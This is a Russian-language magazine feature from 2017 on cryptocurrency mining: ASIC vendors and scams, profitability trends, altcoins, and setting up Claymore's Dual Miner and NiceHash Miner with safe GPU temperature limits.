На обо рудо вании про вай дера «облачно го май нин га»;•
на «аси ках»;•
на виде окар тах с под дер жкой API OpenCL и CUDA;•
на про цес сорах обще го наз начения (в основном x86‐64);•
на клас терах из плат с однокрис талка ми архи тек туры ARM (вро де Raspber‐
ry Pi);

•

осо бо упо ротые май нят в уме, пока им сно ва не вко лют ами назин.•

Продолжение статьи →
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ЧТО ТАКОЕ «АСИКИ»
ASIC, или прос то «аси ки», — устрой ства для ско рос тно го май нин га на осно ве
интеграль ных  схем  спе циаль ного  наз начения.  Их  глав ное  пре иму щес тво —
мак сималь ная энер гоэф фектив ность и ком пак тность за счет отсутс твия лиш‐ 
них деталей. Их глав ный недос таток — они могут май нить толь ко по одно му
алго рит му  хеширо вания  (ред ко — с его  нез начитель ными модифи каци ями),
поэто му быс тро уста рева ют.

Раз ных  аси ков  выпус кают  десят ки,  и  про  каж дый  из  них  мож но  написать
отдель ную  статью.  Поэто му  мы  прос то  при ведем  спи сок  про изво дите лей
и раз берем для при мера нес коль ко моделей чуть под робнее.

Са мый дешевый ASIC для алго рит ма Scrypt —   в свое вре мя
сто ил дешев ле ста дол ларов, но теперь про дает ся толь ко на вто рич ном рын‐ 
ке.  Он  пот ребля ет  око ло  ста  ватт  и  май нит  со  ско ростью  5–6  MH/s  (мил‐ 
лионов хешей в секун ду) в зависи мос ти от агрессив ности нас тро ек.

G‐Blade Miner

Быс трее всех (пока) на том же алго рит ме работа ет  .
Сто ит  он  око ло  9000  дол ларов  вмес те  с  дос тавкой  и  май нит  со  ско‐ 
ростью 900 MH/s без фор сажа.

Litecoin Scrypter PRO

Про изво дите ли аси ков:
Advanced Mining Technology•
AlcheMiner•
Alpha Technology•
AsicMiner•
Avalon•
BitCrane•
BitFury•
Bitmain Tech•
Bitmine•
Black Arrow•
Butterfly Labs•
Gridseed•
HashCoins•
HASHRA•
INNOSILICON Technologies•
KFLminer•
MinersLab•
RusMiner•
Sfards•
SFminer•
Smart Heat•
Spondoolies‐Tech•
XBTec•
Yes Miners (мошен ники)•
Yiazo•
Zeus Integrated Systems•

Прак тичес ки нап ротив каж дой фир мы из спис ка мож но добавить при меча ние:
«В  отно шении  ком пании  выяв лены  эле мен ты  недоб росовес тной  тор говли,
поданы кол лектив ные иски». Сре ди про дав цов аси ков встре чают ся и обыч ные
мошен ники. Они зав лека ют начина ющих май неров заоб лачны ми харак терис‐ 
тиками  несущес тву ющих  устрой ств,  вык ладыва ют  в  сети  их  рен деры  вмес то
фотог рафий и раз меща ют пред заказы по прив лекатель ной цене. Затем, ког‐ 
да поток довер чивых осла бева ет, они прос то испа ряют ся вмес те с день гами.

При мер  такого  обма на —  «самый  быс трый  май нер  для  алго рит ма  SHA‐
256 — Yesminer M10». По опи санию он сто ит при мер но 2700 дол ларов, пот‐ 
ребля ет 800 Вт и май нит на ско рос ти до 10 TH/s (трил лионов хешей в секун‐ 
ду). Естес твен но, это фейк. Законы физики пока не поз воля ют дос тичь такой
энер гоэф фектив ности даже с исполь зовани ем сверх про вод ников. Для срав‐ 
нения:    сто ит  4000  дол ларов,  пот ребля ет  7,8  кВт
и демонс три рует 7,2 TH/s на том же алго рит ме SHA‐256.

Bitcoin  MINER  T‐720

Ос таль ные  про изво дите ли  дела ют  про ще.  Они  раз меща ют  пред заказы
на реаль но изго тав лива емые май неры, но не спе шат с их отгруз кой покупа‐ 
телям. Новые май неры сна чала сот нями сто ят в каком‐нибудь анга ре дядюш‐ 
ки Ляо и май нят аль ткой ны сут ки нап ролет. Ког да же май нинг баналь но ста‐ 
новит ся  невыго ден  (так  как  слож ность  вычис лений  взле тела  до  небес),  их
отправ ляют покупа телям,  даже не  убрав  килог раммы ско пив шей ся  на ради‐ 
ато рах пыли и не заменив сго рев шие цепи.

Ко неч но,  встре чают ся  и  отно ситель но  чес тные  про дав цы,  но  по  законам
рын ка  тебе  никог да  не  про дадут  инс тру мент  получе ния  при были  с  быс трой
и гаран тирован ной само оку паемостью. Брать аси ки есть смысл толь ко в том
слу чае, если у тебя дар мовая элек тро энер гия и есть воз можность пос тавить
их где‐то в тех ничес ком помеще нии. Боль шинс тво из них шумят, как пылесо‐ 
сы.

При выборе аси ка учти, что срав нивать хеш рейт в лоб бес полез но — все
зависит  от  алго рит ма.  На  одном  алго рит ме  50  мегахе шей  в  секун ду  —
это очень кру то, а на дру гом — далеко не рекор дная ско рость. Цена и мощ‐ 
ность  так же  не  опре деля ют  ско рос тные  харак терис тики.  Воз можно,  более
«мощ ный» прос то был сде лан гораз до рань ше и по дру гому тех про цес су.

В ЧЕМ ГЛАВНЫЕ СЕКРЕТЫ МАЙНИНГА?
На  мой  взгляд,  они  сос тоят  в  балан се  и  мак сималь ном  кон тро ле.  Если
собира ешь ся  май нить  на  сво ем  железе,  то  исполь зуй  док ритичес кие  нас‐ 
трой ки  и  запус кай  асик  или  фер му  толь ко  в  выгод ные  пери оды.  Нап ример,
ночью, если уста нов лен двух тариф ный счет чик. Уде ли вни мание ста биль нос‐ 
ти.  Бло ки  питания  и  переход ники  —  это  не  то,  на  чем  мож но  эко номить.
Исполь зуй железо для май нин га вмес то обог ревате ля в  холод ную погоду  (я
серь езно) и не вклю чай его лиш ний раз в жару. Сплит все рав но сож рет боль‐ 
ше,  чем  ты  намай нишь  в  поте  лица.  Пери оди чес ки  надо  отсле живать  ситу‐ 
ацию и вов ремя все про давать — как уста рева ющее обо рудо вание (пока оно
еще кому‐то нуж но), так и намай нен ную крип товалю ту (пока ее обменный курс
еще выгоден).

Час то  ока зыва ется  выгод нее  купить  тариф ный  план  у  про вай дера
облачно го  май нин га,  чем  собирать  фер му  самому.  Как  минимум  ты  изба‐ 
вишь ся от круп ных разовых зат рат и отно ситель но дешево получишь опыт.

ПОЧЕМУ ПРИБЫЛЬНОСТЬ МАЙНИНГА ВСЕ ВРЕМЯ ПАДАЕТ?
Ес ли ты нач нешь май нить сра зу на пач ке новых видюх, да еще и на фоне рос‐ 
та кур сов, то пер спек тивы будут вырисо вывать ся самые радуж ные. Понача лу
будет казать ся, что фер ма при носит десят ки дол ларов в день и такими тем‐ 
пами  смо жет  быс тро  оку пить  себя.  Одна ко  не  спе ши  делать  дол госроч ные
прог нозы.  Тем пы  вско ре  сни зят ся,  и  ты  почувс тву ешь  себя  Ахил лесом,
который никак не догонит черепа ху. Сро ки само оку паемос ти будут пос тоян но
сдви гать ся, пока не уйдут за горизонт.

Кур сы крип товалют пос ле рез кого подъ ема час то демонс три руют столь же
рез кий спад (в том чис ле из‐за эффекта pump’n’dump). У любой вол ны всег да
два  фрон та,  и  сей час  (в  пер вой  полови не  июля)  я  как  раз  в  пред вку шении
начала спа да. На текущем эта пе при быль получат те, кто про дал крип товалю‐ 
ту на пике ее сто имос ти. Получат они ее за счет тех, кто под клю чил ся к май‐ 
нин гу в неудач ный момент.

НАСКОЛЬКО АКТУАЛЕН В КРИПТОВАЛЮТЕ ОПЫТ ПРОШЛЫХ ЛЕТ?
В прош лом было то же самое, прос то вол ны были помень ше. Крип товалю ты
прив лекали вни мание толь ко гиков и молодых инвесто ров, активно инте ресу‐ 
ющих ся  ИТ‐рын ком.  Они  сос тавля ли  доли  про цен та  от  обще го  населе ния,
поэто му спа ды и подъ емы кур сов были не столь замет ными.

Вы год ной так тикой может ока зать ся баналь ное ожи дание. Ты прос то игно‐ 
риру ешь текущие колеба ния рын ка и ждешь нас тупле ние звез дно го часа. Те,
кто от нечего делать намай нили в 2010–2011 году тысячу‐дру гую бит кой нов
и забыли об этом, вне зап но раз богате ли в 2017 году. Если они, конеч но, наш‐ 
ли свой кошелек и вспом нили пароль через столь ко лет.

Иног да в круп ных пулах слу чают ся вынуж денные прос тои. Тог да мощ ность
сети вре мен но пада ет, а при быль ность каж дой фер мы вре мен но под ска кива‐ 
ет, так как сни зилась кон курен ция. В такие момен ты одни май неры счи тают,
что  их  надеж ды  сбы лись,  а  дру гие  спеш но  сни мают  ролики  для  YouTube
в  надеж де  впе чат лить  потен циаль ного  покупа теля  фер мы  ее  мни мой  при‐ 
быль ностью. Прос то пом ни: ник то в здра вом уме не ста нет про давать курицу,
несущую  золотые  яйца.  Если  ее  так  активно  про дают,  зна чит,  она  годит ся
толь ко на суп, и не самый вкус ный.

КАКАЯ КРИПТОВАЛЮТА ВЫГОДНЕЕ ВСЕХ?
От вет  на  этот  воп рос  пос тоян но  меня ется.  Основной  крип товалю той  был
и  оста ется  Bitcoin.  Его  капита лиза ция  за  пос леднее  вре мя  сос тавля ла
от  полови ны  до  двух  тре тей  все го  объ ема  крип товалют ного  рын ка,  но май‐ 
нить  его  нап рямую  дав но  невыгод но.  Обыч но  в  BTC  кон верти руют  дру гие
монеты  (аль ткой ны).  Их  кур сы  и  динами ка  слож ности  май нин га  неп ред ска‐ 
зуема, поэто му сре ди аль ткой нов выбира ют вре мен ных фавори тов.

Дол гое  вре мя  «сереб ряным  стан дартом»  счи тал ся  Litecoin.  Недав но  его
мес то  занял  Ethereum,  а  вско ре  Litecoin  усту пил  и  третье  мес то,  сдав шись
Ripple. Боль шие средс тва вли вают ся в рас крут ку Dash, NEM, IOTA и Monero.

Особ няком  сто ят  новые  крип товалю ты,  которые  понача лу  оце нива ются
в копей ки и добыва ются лег ко, а затем рез ко при бав ляют в сто имос ти пос ле
круп ного раун да инвести ций. Одна ко инвести ции прив лечь неп росто, и боль‐ 
шая часть новых крип товалют так и оста ются кус тарной подел кой с око лону‐ 
левой сто имостью.

По ка совер шенно безопас но мож но май нить толь ко NKK. Эту крип товалю‐ 
ту при думал извес тный писатель‐фан таст, ради оэлек трон щик и прог раммист
Леонид Каганов. Дос таточ но посетить   на его сай те, как авто мати‐ 
чес ки соз дас тся новый кошелек и нач нется май нинг.

стра нич ку

Май ним NKK без вло жений

Все осталь ные крип товалю ты под разуме вают рис ки, свя зан ные с началь ными
вло жени ями и текущи ми зат ратами (как минимум вре мени и элек тро энер гии).
Если  денег  мало,  а  очень  хочет ся  поп робовать,  то  выбирай  облачный май‐ 
нинг.  Это  самый  быс трый  спо соб  начать.  У  круп ных  про вай деров  облачных
вычис лений  есть  тес товые  акка унты,  исполь зуя  которые  ты  поч ти  ничего
не будешь пла тить.

КРИПТОВАЛЮТЫ — ЭТО ФИНАНСОВАЯ ПИРАМИДА?
Ме ханиз мы  выпус ка  и  перерас пре деле ния  аль ткой нов  слож ны  для  вос при‐ 
ятия, поэто му люди пыта ются упростить их, све дя к приз накам каких‐то извес‐ 
тных  эко номи чес ких моделей. Нап ример,  выпуск  новой  крип товалю ты  срав‐ 
нива ют с пер вой пуб личной про дажей акций (IPO), а заложен ное в алго рит ме
уве личе ние слож ности май нин га — со стро итель ством финан совой пирами‐ 
ды. Если пер вые монет ки добыть лег че пос леду ющих, то при соеди нив шиеся
к май нин гу на ран нем эта пе теоре тичес ки ока зыва ются в более выиг рышной
ситу ации.

Од нако закон Мура про дол жает дей ство вать, а ран ние адеп ты аль ткой нов
несут  еще  и  боль шие  рис ки.  Оче ред ная  крип товалю та  может  прос то  уйти
на пол ку исто рии, не при неся обла дате лям никакой при были. Обыч но имен но
это и про исхо дит.

Эле мен ты финан совой пирами ды при сутс тву ют толь ко у тех крип товалют,
для которых раз работ чики выпол нили этап пре май нин га. Общее чис ло монет
для любой крип товалю ты обыч но заранее извес тно (оно заложе но в алго рит‐ 
ме). Если до  того,  как сде лать свое детище пуб лично дос тупным, раз работ‐ 
чики намай нили себе 10% или более, то это не комиль фо.

Ко неч но,  пре май нинг —  не  однознач ный  кри терий  недове рия,  а  прос то
один  из  явных  приз наков  того,  что  с  дан ной  крип товалю той  изна чаль но
не получит ся рав ноправ ной децен тра лизо ван ной сети учас тни ков.

ОШИБКА ВЫЖИВШЕГО
В  ста тис тичес ком  ана лизе  есть  понятие  «сис темати чес кая  ошиб ка  выжив‐ 
шего».  Человек,  пре одо лев ший  серь езные  труд ности,  начина ет  делить ся
опы том с дру гими и пре дос терегать их от пов торения его оши бок. Казалось
бы, отличная прак тика! Вот  толь ко от вни мания усколь зает  тот факт,  что все
допущен ные ошиб ки не при вели в ито ге к фаталь ным пос ледс тви ям и вы слу‐ 
шаете  исто рию  успе ха.  Человек  выжил,  нес мотря  на  допущен ные  про махи.
Ина че одним рас сказ чиком было бы мень ше. Ког да рынок реаль но лихора дит
(бум дот комов,  дефолт и  так далее),  все,  кто допус тил дей стви тель но серь‐ 
езные прос четы, ухо дят из биз неса или даже из жиз ни. Никаких советов они
уже  не  дадут.  Поэто му  не  пытай ся  сле по  пов торять  чужие  дей ствия.  Сосед
говорит, что соб рал фер му и зарабо тал 100500 аль ткой нов, ничего не делая?
Ну так и ты говори!

Спи сок ком паний, которые при нима ют крип товалю ту
в качес тве опла ты

4Chan.org•
A Class Limousine•
Alza•
Amagi Metals•
Badoo•
BigFishGames.com•
Bitcoin.Travel•
Bitcoincoffee.com•
Bloomberg.com•
Braintree•
CEX•
CheapAir.com•
Crowdtilt.com•
CurryUpNow.com•
Dell•
Dish Network •
Dream Lover•
Etsy Vendors•
Euro Pacific•
Expedia.com•
ExpressVPN.com•
EZTV•
Famsa•
Fancy.com•
Fight for the Future•
Foodler•
Gap, GameStop, and JC Penney•
Grass Hill Alpacas•
Green Man Gaming•
Grooveshark•
Gyft•
Helen’s Pizza•
Humblebundle.com•
Intuit•
i‐Pmart (ipmart.com.my)•
Jeffersons Store•
Lionsgate Films •
LOT Polish Airlines•
Lumfile•
Lv.net •
Mega.co.nz•
Mexico’s Universidad de las Américas Puebla•
Microsoft•
Mint.com•
MIT Coop Store•
MovieTickets.com•
mspinc.com•
Museum of the Coastal Bend•
Namecheap •
Naughty America•
NCR Silver•
Newegg.com•
OkCupid•
Old Fitzroy•
One Shot Hotels•
Overstock.com•
Pembury Tavern•
PizzaForCoins.com•
PSP Mollie•
PureVPN•
Rakuten•
RE/MAX London•
Reddit•
San Jose Earthquakes•
Save the Children•
Seoclerks.com•
SFU bookstore •
Shopify.com•
ShopJoy•
SimplePay•
Square•
State Republican Party•
Steam•
Straub Auto Repairs•
Stripe•
Subway•
Suntimes.com•
The Internet Archive•
The Libertarian Party•
The Pink Cow•
The Pirate Bay•
Tigerdirect•
T‐Mobile Poland•
Virgin Galactic•
WebJet•
Whole Foods•
Wikipedia •
WordPress.com•
Yacht‐base.com•
Zynga•

КАК ЗАРАБОТАТЬ НА КРИПТОВАЛЮТАХ?
Ре аль нее все го — бир жевой или рыноч ной спе куля цией. Ску пать аль ткой ны
накану не оче ред ного раун да инвести ций в них и тут же про давать их на пике
под ско чив шего кур са. Покупать виде окар ты, бло ки питания, рай зеры, новые
аси ки  и  про чее  обо рудо вание,  что бы  затем  про дать  его  втри доро га  май‐ 
нерам. Покупать дешевые кон трак ты у облачных про вай деров с целью переп‐ 
родажи  аль ткой нов.  Наконец,  мож но  соз дать  свой  про дукт —  собс твен ную
крип товалю ту, при ложе ние, пул, бир жу или темати чес кий сайт, пос вящен ный
крип товалю те, что бы зараба тывать на нем.

ВЫВОД (ЗА ОТДЕЛЬНУЮ КОМИССИЮ :))
За годы раз вития одни крип товалю ты ста ли дей стви тель но цен ными, а дру гие
ока зались похожи на гро шовые акции, которые ста ратель но втю хива ют прос‐ 
тофилям  по  ста рому  прин ципу  pump’n’dump.  Сна чала  для  таких  никому
не  извес тных  валют  искусс твен но  сти мули рует ся  спрос.  Про водит ся  мас‐ 
штаб ная рек лама,  объ явля ется о  новых раун дах  инвести ций и  раз меща ется
мно жес тво орде ров на добычу этих монеток на муль тивалют ных пулах. Затем
при дос тижении дос таточ но высоко го обменно го кур са от них так же быс тро
избавля ются, а про ект сво рачи вает ся.

По это му  начинать май нинг  сто ит  с  одной  из  наибо лее  ста биль ных  крип‐ 
товалют  (с  наиболь шим  уров нем  капита лиза ции),  а  в  осталь ные  вкла дывать
just for fun и не боль ше, чем готов потерять.

В боль шинс тве слу чаев май нинг на сво ем обо рудо вании едва оку пает зат‐ 
раты на элек тро энер гию. Он может стать при быль ным толь ко при дар мовых
ресур сах  или  завышен ных  кур сах  крип товалют  на  фоне  оче ред ной  вол ны
инте реса к ним. Облачные про вай деры не слу чай но про дают вычис литель ные
мощ ности. Занимать ся май нин гом самим для них менее выгод но.

Ес ли  пос трой ка  фер мы  уже  не  кажет ся  тебе  выгод ной  иде ей,  а  прос‐ 
таивающее  железо  хочет ся  заг рузить  слож ными  рас четами,  то  обра ти  вни‐ 
мание  на    или  .  Быс тро  и  мно го  на  них  вряд  ли  зарабо‐ 
таешь,  но  зато  вмес то  бес полез ных  хешей  твои  про цес соры  и  виде окар ты
будут  обсчи тывать  реаль ные  науч ные  задачи,  учас твуя  в  общем  прог рессе.

Gridcoin FoldingCoin

WWW

•Про вай деры  облачно го  май нин га  с  тес товыми
акка унта ми

•Срав нитель ная капита лиза ция крип товалют
•Ко тиров ки крип товалют и спра воч ная информа‐ 
ция

https://ru.aliexpress.com/store/product/Free-shipping-Gridseed-G-Blade-ASIC-Scrypt-Blade-Miner-5-2-6MH-S-100W-Scrypt-Blade/227686_1834929913.html
https://www.minerslab.com/product/litecoin-scrypter-pro-900mhs-rack-mount-miner/
https://bitmakler.com/bitcoin-miner-t-720___asic
https://lleo.me/dnevnik/2017/06/14.html
https://xakep.ru/2017/06/09/gridcoin-howto/
http://foldingcoin.net/
https://bitmakler.com/cloudmining
https://coinmarketcap.com/
https://bitmakler.com/
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COVERSTORY

В  пос леднее  вре мя  под ходы  к  май нин гу  прин ципи аль но
изме нились.  Появи лось  око ло  тысячи  аль ткой нов,
и добывать какую‐то одну крип товалю ту ста ло слиш ком рис‐ 
кован но.  Кросс‐кур сы  и  слож ность  их  май нин га  пос тоян но
меня ются. Усле дить за этим и перек лючать ся на более при‐ 
быль ные  алго рит мы  вруч ную  нере аль но,  одна ко  есть  инте‐ 
рес ные  под ходы  к  авто мати зации,  о  которых  мы  и  погово‐ 
рим.

WARNING

Си туация  на  крип товалют ном  рын ке  меня ется
пос тоян но, поэто му дан ные здесь рекомен дации
со  вре менем  пот ребу ют  кор ректи ров ки.  Сле ди
за новос тями и начинай с малых вло жений, что бы
получить лич ный опыт без серь езных финан совых
рис ков.

КОШМАРЫ И ГРЕЗЫ МАЙНЕРА
Сов сем  недав но  начина ющий  май нер  дей ство вал  по  прин ципу  «нас тро ил
и  забыл».  Он  выбирал  крип товалю ту,  которая  ему  казалась  наибо лее  пер‐ 
спек тивной, мак симум их было две: основная и резер вная. Пос ле чего при‐ 
киды вал опти маль ную кон фигура цию «фер мы» с уче том алго рит мов хеширо‐ 
вания  или  покупал  готовые  ноды  у  опе рато ра  облачно го  май нин га.  Затем
нас тра ивал  и  запус кал  собс твен но  май нер  —  спе цифи чес кую  для  каж дого
алго рит ма кон соль ную прог рамму. Даль ше тре бова лось задать опо веще ния
о кри тичес ких событи ях и лишь изредка про верять, как там капа ют вир туаль‐ 
ные монет ки на столь же вир туаль ный счет.

Ко неч но, мно гие смот рели свою ста тис тику по десять раз на дню и вска‐ 
кива ли  ночью,  но  это  уже  пси холо гичес кие,  а  не  тех ничес кие  осо бен ности
май нин га. В то вре мя, ког да Litecoin еще был «сереб ряным стан дартом», пос‐ 
тоян ного кон тро ля про цес са не тре бова лось. Ско рее было нуж но тер пение,
и то неболь шое.

По нача лу рас четы всем сулили быс трую оку паемость вло жений и получе‐ 
ние при были уже в бли жай шие месяцы (мак симум — год). Одна ко вре мя шло,
и чем популяр нее ста нови лась выб ранная крип товалю та, тем силь нее падали
тем пы ее май нин га на каж дом узле из‐за стре митель но воз раста ющей слож‐ 
ности вычис ления вер ного хеша в оче ред ном бло ке.

Ког да  я  начинал  писать  эту  статью,  казалось,  что  «экска ватор»  копа ет
очень бод ро. Он при носил 5,76 дол лара в день, и с одной не самой кру той
виде окар ты это был бы отличный сбор.

На чало крип товалют ного экспе римен та, июнь 2017‐го

Од нако  это  был  прос то  вре мен ный  эффект  бир жевых  игр.  Как  толь ко  кон‐ 
чился хайп и кур сы выров нялись, та же сис тема с теми же нас трой ками ста ла
при носить все го 2,13 дол лара. В отдель ные момен ты сис тема работа ла, счи‐ 
тай, на холос том ходу, так как при быль ность падала ниже дол лара в день. То
же самое про исхо дило и с дру гими крип товалю тами, прос то в раз ные пери‐ 
оды. Поэто му мож но было сни зить потери, вов ремя перек лючив шись на май‐ 
нинг дру гих монет.

Окон чание крип товалют ного экспе римен та, июль 2017‐го

У облачных опе рато ров даже появил ся новый пункт в FAQ, объ ясня ющий пос‐ 
тоян ное умень шение вып лат. В абсо лют ных чис лах про изво дитель ность при‐ 
обре тен ной  сис темы  оста валась  неиз менной,  а  вот  ее  отно ситель ная  доля
в  общей  сети  май неров  час то  падала  быс трее,  чем  прог нозиро вал
онлайн‐каль кулятор доход ности.

До пол нитель но  повыша лись  рас ценки  на  элек тро энер гию,  появ лялись
новые чипы и новые алго рит мы. Неп ред ска зуемос ти добав ляют и бир жевые
штор мы, из‐за них воз ника ют часы и даже дни, на про тяже нии которых май‐ 
нинг выб ранной крип товалю ты ста новит ся откро вен но убы точ ным.

К  при меру,  за  один  из  корот ких  тес товых  про гонов  я  намай нил  в Decred
экви валент 18 руб лей, а элек трос четчик нак рутил за то же вре мя на 23 руб ля.
То есть в этот пери од мне приш лось зап латить боль ше, чем уда лось получить
за май нинг. Надо было при оста новить  его? Если да,  то  на  сколь ко? Перек‐ 
лючить ся  на  дру гую  крип товалю ту?  На  какую?  Хорошо,  что  сей час  не  надо
тер зать  себя  эти ми  воп росами  пос реди  ночи,  ког да  сра бота ла  оче ред ная
тре вога. Есть уни вер саль ные сис темы май нин га, не при вязан ные к какому‐то
одно му аль ткой ну и сни жающие финан совые рис ки.

CLAYMORE’S DUAL MINER
Эта  прог рамма  уме ет  одновре мен но  май нить  две  крип товалю ты  на  выбор.
Пер вая всег да Ethereum, а вто рая может быть Decred, Siacoin, Lbry или PAS‐
CAL. При чем май нить ся какая‐то из них будет парал лель но с эфи ром на том
же  железе  и  (поч ти)  без  ущер ба  для  ско рос ти.  Дос тига ется  это  глу бокой
опти миза цией  кода  (исполь зуют ся  ассем блер ные  встав ки),  более  пол ной
заг рузкой  виде окар ты,  под дер жкой  про токо ла  Stratum  вмес то  HTTP  (с  ним
мень ше  задер жки  при  получе нии  и  выг рузке  заданий)  и  дру гими  ухищ рени‐ 
ями. Есть вер сии для Linux и Windows.

Dual Miner  поз воля ет  сочетать  виде окар ты  AMD  и  Nvidia  в  одной фер ме
и показы вает деталь ную ста тис тику по работе каж дой из них. Это очень удоб‐ 
но  для  выяв ления  дефек тно го  железа  и  оши бок  в  уста нов ке  парамет ров.
В  при мере  ниже  исполь зует ся  сме шан ная  фер ма  из  семи  виде окарт.  Они
называ ются  GPU 0  —  GPU 6  и  име ют  раз ные  нас трой ки.  Виде окар та
под  номером  пять  сбо ит,  хотя  запас  по  TDP  есть  (ее  вен тилятор  еще  вра‐ 
щает ся на половин ной ско рос ти, да и тем перату ра далека от кри тичес кой).

Ошиб ка в работе одной виде окар ты

За пуск из коман дной стро ки у Claymore’s Dual Miner мак сималь но облегчен.
В ска чан ном с GitHub архи ве ты най дешь бат ники с говоря щими наз вани ями.
Нап ример,    запус тит  одновре мен ный  май нинг  эфи ра
и Siacoin. Для это го нуж но спер ва отре дак тировать его — открыть как прос‐ 
той тек сто вый файл и впи сать вмес то   адрес кошель ка, наз вание вор‐ 
кера, email и дру гие дан ные.

start_eth+sia.bat

YOUR*

Сог ласно докумен тации,   под держи вает виде окар ты
обо их  про изво дите лей,  выпущен ные  в  пос ледние  шесть  лет.  Пос коль ку  он
исполь зует ассем блер ную опти миза цию с уче том архи тек туры GCN, то виде‐ 
окар ты  AMD  срав нимого  уров ня  показы вают  в  нем  луч ший  резуль тат,  чем
решения  Nvidia.  Одна ко  ста биль ная  работа  май нера  отме чает ся  толь ко
на сов ремен ных виде окар тах AMD с архи тек турой GCN 3.0 и выше. Осталь‐ 
ные  час то  сбо ят.  Пок лонни кам  «зеленых»  луч ше  выб рать  май неры  с  CUDA‐
опти миза цией, о которых мы погово рим даль ше.

Claymore’s Dual Miner

Боч ка  дег тя:  в  алго ритм  май нера  заложе на  комис сия  (1%  для  май нин га
одной  крип товалю ты  и  2%  за  парал лель ный  май нинг  двух  аль ткой нов).  То
есть 72 с из каж дого часа май нер работа ет на раз работ чика. Реаль но быва ет
и  боль ше,  пос коль ку  он  пери оди чес ки  «забыва ет»    на  твой
кошелек. Такой баг (или фича) отме чает ся не у всех, но его при рода вызыва ет
воп росы.

пе рек лючать ся

Ис клю чение  сос тавля ет  Decred.  Эта  крип товалю та  май нит ся  без  комис‐ 
сии,  но  пока  она  наиме нее  при быль на.  Если  запус тить май нер  с  опци ей 

, то комис сия так же взи мать ся не будет, но при этом упа дет ско рость,
так что ты ничего не выгада ешь — это умыш ленное огра ниче ние.

‐‐
nofee

Май нер  под держи вает  уда лен ное  управле ние  через  про токол  JSON.
Опять  же,  это  пал ка  о  двух  кон цах.  Мож но  лишь  доверять  репута ции  раз‐ 
работ чика  и  верить  в  то,  что,  кро ме  тебя,  тво им май нером  ник то  управлять
не будет.

Воз можно, ты пом нишь показа тель ную исто рию с аси ками серии Antminer.
В апре ле 2017 года в них обна ружи ли  , поз воля ющий уда лен но отсле‐ 
живать и отклю чать май неры. Вот тебе и «ано ним ность»! Вот тебе и «пол ный
кон троль»!

бэк дор

Се год ня  ска чать  Claymore’s  Dual  Miner  час то  не  дают  сами  бра узе ры.
На VirusTotal 31 из 61 анти виру са   его как потен циаль но опас ное
ПО  или  тро ян,  а  Chrome  прос то  бло киру ет  заг рузку,  как  вре донос ную.
Исходный  код май нера зак рыт и  защищен от отладки,  поэто му про ана лизи‐ 
ровать его  край не слож но. Пусть  тебя не сби вает  с  тол ку  заг рузка май нера
с GitHub — там иног да встре чают ся и проп риетар ные раз работ ки.

оп ределя ют

NHM
Есть дру гая, исклю читель но прос тая в осво ении и более уни вер саль ная прог‐ 
рамма для май нин га — кли ент пула NiceHash Miner (NHM). Она под держи вает
Claymore’s  Dual  Miner  как  опци ональ ный  ком понент,  но  работа ет  так же  и  с
опен сор сны ми  май нерами,  в  том  чис ле  CUDA‐опти мизи рован ными.  NHM
не май нит в поль зу раз работ чика (отсутс тву ет dev fee) и не бло киру ется анти‐ 
виру сами — они могут  ругать ся  толь ко  на  отдель ные май неры  при  их  авто‐ 
мати чес ком ска чива нии.

NHM рас простра няет ся с откры тым исходным кодом. Порядок ее исполь‐ 
зования  сво дит ся  к  уста нов ке  и  нажатию  кно пок  «Бен чмарк»  и  «Старт»,
но рекомен дую сна чала сде лать нес коль ко тви ков ради безопас ности. Даже
если ты будешь поль зовать ся дру гой прог раммой, суть у них общая.

Безопас ный май нинг
Во  вре мя май нин га  виде окар ты  работа ют  в  нехарак терном для  них  режиме
и  быс тро  перег рева ются.  Сила  тока,  нап ряжение  ядра,  теп ловыде ление
и мно гие дру гие парамет ры сущес твен но пре выша ют рекомен дован ные про‐ 
изво дите лем  зна чения. В  отли чие  от  игр,  при май нин ге  наг рузка  удер жива‐ 
ется на мак сималь ном уров не в режиме 24 ✕ 7. При чем она оста ется экс тре‐ 
маль но высокой не  толь ко для шей дер ного домена виде окар ты. МОП‐тран‐ 
зисто ры и дру гие эле мен ты силовых цепей наг рева ются в ходе бес конеч ного
вычис ления  хешей  свы ше  120  °С,  а  штат ная  сис тема  охлажде ния  прос то
не справ ляет ся. Такой режим экс плу ата ции прев раща ет виде окар ту в корот‐ 
коживу щую деталь и дает мни мый при рост в ско рос ти, пос коль ку в рас четах
через некото рое вре мя воз ника ют ошиб ки. Они далеко не всег да появ ляют ся
из‐за  перег рева.  Это  прос то  следс твие  дли тель ной  работы  в  кри тичес ком
режиме.

Ошиб ка не всег да свя зана с перег ревом

В при мере ниже я  уве личил допус тимую  тем перату ру  все го на один  гра дус.
Это при вело к повыше нию пот ребле ния виде окар ты на 15 Вт и рез ко сни зило
ее энер гоэф фектив ность, прак тичес ки не ска зав шись на ско рос ти рас четов.

Па дение энер гоэф фектив ности при повыше нии тем перату ры

Май нить  дол го  и  ста биль но  поможет  огра ниче ние  TDP  или  мак сималь ной
тем перату ры  чипа.  Задать  эти  парамет ры  мож но  фир менной  ути литой
управле ния видюхой (ASUS GPU Tweak, MSI Afterburner и подоб ные). Прос то
выбери  зна чения  из  диапа зона  безопас ных  и  ком фор тных  по  уров ню шума
сис темы охлажде ния. Обыч но это циф ры до 80  °С. По спе цифи каци ям чипы
выдер жива ют  и  боль ше,  но  в  даташи тах  ука заны  имен но  крат ковре мен ные
пре дель ные зна чения для самого ГП. Если тем ператур ный лимит не уста нов‐ 
лен, появ ляет ся риск не прос то оши бок из‐за перег рева, а физичес кого раз‐ 
рушения  обо рудо вания  (про боя  диэлек три чес ких  сло ев,  отпа ива ния  SMD‐
ком понен тов)  и  воз горания.  Далеко  не  самые  дешевые  виде окар ты  в  бук‐ 
валь ном смыс ле горят у алчных май неров синим пла менем.

1. Пос ле задания безопас ных нас тро ек ска чай с GitHub прог рамму 
. При уста нов ке бра узе ры и анти виру сы могут ругать ся. В моем тес те

все это были лож нополо житель ные сра баты вания и реак ция на Riskware.
Мно гие тро яны пыта ются под садить май нер на чужие компь юте ры, что бы
скры то исполь зовать халяв ные ресур сы. Чаще все го это дела ют под видом
«опти мизи рован ных»  май неров,  которые  поль зователь  ска чива ет  и  уста‐ 
нав лива ет  доб роволь но.  Поэто му  анти виру сы  теперь  руга ются  на  боль‐ 
шинс тво  прог рамм  для  май нин га  без  раз бора,  но  руга ются  по‐раз ному.
Одно  дело —  PUP  и  Riskware,  и  сов сем  дру гое —  Trojan/Backdoor.  Будь
вни мате лен!

NiceHash
Miner

2. Пос ле уста нов ки NiceHash Miner авто мати чес ки опре делит твои виде окар‐ 
